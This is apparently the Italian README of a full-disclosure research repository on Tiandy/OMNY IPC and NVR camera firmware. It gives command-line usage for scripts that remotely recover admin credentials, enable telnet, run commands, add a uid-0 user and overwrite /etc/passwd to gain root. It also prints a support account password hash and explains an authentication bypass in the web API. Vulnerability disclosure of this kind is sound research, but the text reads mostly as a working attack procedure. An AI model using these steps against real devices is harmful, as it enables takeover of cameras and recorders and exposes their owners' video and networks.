
Questo repository contiene i risultati della mia ricerca dell'agosto 2020 sul firmware IPC/NVR di Tiandy. Ho trovato due vulnerabilità che potrebbero essere utilizzate per recuperare da remoto la password dell'amministratore e ottenere accesso root al dispositivo.
Questa repository contiene i risultati della mia ricerca dell'agosto 2020 sul firmware IPC/NVR di Tiandy (questi dispositivi sono venduti anche come OMNY). Questa "ricerca" non è stata esaustiva, ma ho trovato diversi metodi per recuperare la password dell'amministratore da remoto, abilitare telnet e cambiare la password di root.
È difficile dire esattamente quali versioni sono interessate, dato che possiamo scaricare solo quelle recenti. Tutte queste versioni scaricabili sono interessate:
DVRS_V9.12.7.20200422
DVRS_V11.7.4.20200721
NVSS_V13.6.1.20200723
NVSS_V22.1.0.20200722
Non solo esistono rami diversi per dispositivi diversi, ma alcuni componenti sono versionati e aggiornati separatamente, come la web API, dove ho trovato un bypass dell'autenticazione che funziona solo per le versioni rilasciate dalla metà del 2019, indipendentemente dal numero di versione del firmware. Se per caso sapete qualcosa in più sulle versioni interessate, apprezzerei il vostro aiuto.
Sto facendo piena divulgazione qui, ma è ragionevole. Una patch del fornitore (improbabile visto che non rispondono) non farebbe sparire il problema, soprattutto quando nessun dispositivo online ha il firmware più recente (nemmeno lontanamente). La vera vulnerabilità è che questi dispositivi sono esposti a internet. Ed è qualcosa che devono risolvere gli utenti finali, non Tiandy.
Come bonus, includo anche l'estrattore del firmware e alcune informazioni su come accedere ai flussi tramite RTSP/RTMP (buona fortuna a trovarle nel manuale).
Prima presento gli script:
Poi provo a spiegare brevemente cosa fanno questi script e perché. Non ripeto il codice, ma cerco di fornire abbastanza contesto per capire il codice:
Infine, la parte più tecnica:
Avrai bisogno di Python 3 con PyCrypto.
Per prima cosa, prova recover.py. Richiede che la porta 3001 sia accessibile:
python3 recover.py [HOST]
se tutto va bene, dovrebbero essere stampate le credenziali dell'amministratore.
Se quella porta non è accessibile, potrebbe funzionare quella web. Richiede l'url:
python3 cgi_recover.py http://123.45.67.89
python3 cgi_recover.py https://123.45.67.89
Se nessuno dei metodi precedenti funziona, controlla se telnet è abilitato. Se lo è, puoi ottenere root sul dispositivo direttamente, basta craccare questo hash:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(assicurati di aprire una PR nel caso tu riesca a craccarlo :D)
Nel firmware NVR V7 più vecchio, puoi eseguire comandi direttamente:
python3 ftpupdate.py [host] [adminpass] '[cmd]'
ma non fornisce alcun output. Per semplificare, ho incluso questa scorciatoia:
python3 ftpupdate.py [host] [adminpass] adduser [username] [password]
Questo aggiungerà un altro utente con uid 0.
Per prima cosa, abilita telnet usando:
python3 telnet.py [host] [adminpw]
o per i dispositivi recenti:
python3 cgi_recover.py [host] telnet
Poi puoi sovrascrivere /etc/passwd (presumo tu sappia come funziona). Prova prima filetransport.py (per gli NVR):
python3 filetransport.py [host] [adminpass] put /etc/passwd <[source_file]
non dà alcun feedback, devi verificarlo provando ad accedere...
Per i modelli IPC in cui filetransport.py non funziona, prova upgrade_rw.py:
python3 upgrade_rw.py [url] [adminpass] /etc/passwd <[source_file]
(anche questo non dà feedback)
Infine, per i dispositivi ancora più recenti, questo può essere fatto anche tramite la web API:
python3 cgi_recover.py [url] write /etc/passwd <[source_file]
Se nessuno dei metodi precedenti ha funzionato (verifica se riesci ad accedere), riprova tutti quei metodi ma sovrascrivi invece /config/etc/passwd. In alcune versioni del firmware, /etc/passwd è un symlink a quel file. Infine, puoi anche provare a sovrascrivere /tdfs/etc/passwd, ma dopo potrebbe essere necessario riavviare il dispositivo, quindi per riavviare usa:
python3 reboot.py [host] [adminpass]
Il firmware V7 vecchio (IPC e NVR) non sembra essere interessato, ma se hai la password dell'amministratore, per gli NVR c'è una RCE autenticata (ftpupdate.py), e per gli IPC, lo script upgrade-rw.py può essere usato per sovrascrivere /etc/passwd.
Le versioni più recenti del firmware NVR (V9 e V11) includono un account predefinito che, combinato con l'escalation dei privilegi "passiva", rende possibile recuperare la password dell'amministratore. Possiamo quindi sovrascrivere /etc/passwd usando filetransport.py.
Mentre l'account predefinito non è presente nel firmware IPC, appare un altro metodo di recupero: il metodo PSW. È un meccanismo di recupero password senza alcuna sicurezza. È presente in tutte le versioni del firmware scaricabili dalla V9. Mentre filetransport.py funziona solo sugli NVR, upgrade_rw.py raggiunge lo stesso scopo sugli IPC usando il meccanismo di upgrade, così possiamo comunque ottenere l'accesso root.
Il firmware del 2019 introduce un altro vettore d'attacco: un bypass dell'autenticazione tramite la web API. Esportando il file di configurazione senza autenticazione, possiamo recuperare la password e preparare un pacchetto di upgrade per sovrascrivere file arbitrari.
A proposito di vulnerabilità, ce ne sono 4:
Nota: non ho indagato le funzionalità "cloud", cioè se sia possibile enumerare i dispositivi e quindi connettersi a dispositivi non esposti a internet (come accade con i dispositivi Xiongmai).
Nelle versioni vecchie, telnet è abilitato per impostazione predefinita ed ecco cosa troviamo nel file /etc/passwd:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(la password di root viene aggiornata dinamicamente, inoltre non ho craccato questo hash, quindi pull request più che benvenute :D)
L'utente support (in realtà presente in tutte le versioni del firmware) potrebbe sembrare senza privilegi, ma ovviamente questo utente ha privilegi sufficienti per leggere la password Admin e sovrascrivere gli script di init scrivibili da tutti in /etc/init.d o addirittura crearne di nuovi :)
Concettualmente, il metodo è davvero semplice. Inviiamo un pacchetto di login e leggiamo la risposta. Tutto qui, perché la risposta di "login riuscito" contiene le credenziali di tutti gli utenti, indipendentemente dai nostri privilegi. Anche se era così anche nella V7, praticamente questo metodo è diventato utile solo quando è stato introdotto l'account predefinito nel firmware NVR. L'irremovibile "Default" non ha privilegi remoti, quindi non puoi fare nulla con esso. Beh, forse tranne leggere la password dell'amministratore...